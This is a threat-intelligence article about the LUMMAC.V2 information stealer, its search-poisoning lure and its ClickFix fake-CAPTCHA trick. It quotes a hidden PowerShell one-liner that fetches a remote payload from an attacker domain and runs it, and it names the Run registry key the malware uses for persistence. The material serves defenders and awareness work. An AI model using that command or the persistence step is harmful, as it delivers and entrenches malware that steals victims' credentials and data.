LUMMAC.V2: A Refined Threat Leveraging Human Trust over Technical Flaws
A newly surfaced variant of the LUMMAC information stealer, now built on C++ architecture instead of its original C codebase, is making waves in the cyber threat landscape. This revamped version—identified as LUMMAC.V2—has been reengineered for broader reach and deeper data theft capabilities.
Unlike more traditional malware strains that rely on software vulnerabilities, LUMMAC.V2 is propelled by human manipulation. Its attack chain targets users across a vast range of software environments, from web browsers and cryptocurrency wallets to email platforms, RDP tools, password managers, and chat clients.
Once active, LUMMAC.V2 silently harvests a wide swath of private data: login credentials, system metadata, cookies, screenshots, contact details, and more. These assets are bundled into a compressed archive, then exfiltrated via standard HTTP channels—an approach designed for stealth and compatibility.
What sets LUMMAC.V2 apart isn’t its code—it’s the con.
Rather than exploiting technical weaknesses, this stealer weaponizes search engine manipulation and psychological engineering. Victims encounter seemingly legitimate search results tied to cracked software, trending entertainment, or free downloads. Clicking these leads them to realistic decoy sites posing as verification pages—complete with convincing CAPTCHA prompts.
At the heart of this deception lies a technique dubbed ClickFix—a novel method for remote code execution that enlists the user as the unwitting attacker. Here’s how it unfolds:
- The fake verification page instructs the visitor to open the Windows Run dialog (Windows+R).
- A malicious payload, already copied to their clipboard by the page, is pasted (CTRL+V).
- Finally, the user is prompted to execute it (Enter), believing they’re completing a simple verification step.
With no visible signs of compromise and no downloaded executables, users are left unaware they’ve just delivered malware onto their own systems.
Security analysts, including researchers from Google Cloud’s Threat Intelligence team, warn that LUMMAC.V2 campaigns are evolving quickly, using multiple delivery chains but consistently anchoring their success in the same core strategy: exploiting user behavior, not system flaws.
Attack Progression (Source: Google Cloud Security Community)
This staged attack demonstrates how a convincing fake verification page manipulates users into executing harmful commands. The accompanying image offers a behind-the-scenes look at the site’s source code, built specifically to facilitate and automate this deceptive tactic.
Deceptive CAPTCHA Portal (Source: Google Cloud Security Community)
Beneath the surface of the spoofed verification page, a stealthy PowerShell script is triggered using the -W Hidden switch—ensuring the attack runs silently, without displaying any visible console to the victim. An example of the command used is:
bash
PowerShell.exe -W Hidden -command $url = ‘https://finalstepgo[.]com/uploads/pnk3.txt’; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text
This one-liner quietly retrieves and executes a remote payload, initiating the second stage of the infection. To maintain long-term access, the malware inserts itself into the system’s startup sequence by adding a registry key under:
makefile
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
This ensures it reactivates with every user login, embedding itself persistently into the host environment.
What makes the LUMMAC.V2 campaign particularly insidious is its reliance on psychological manipulation rather than software exploits. By shifting the attack surface from the machine to the mind, it bypasses many conventional endpoint protections and demands a new focus on user awareness and behavioral defenses.
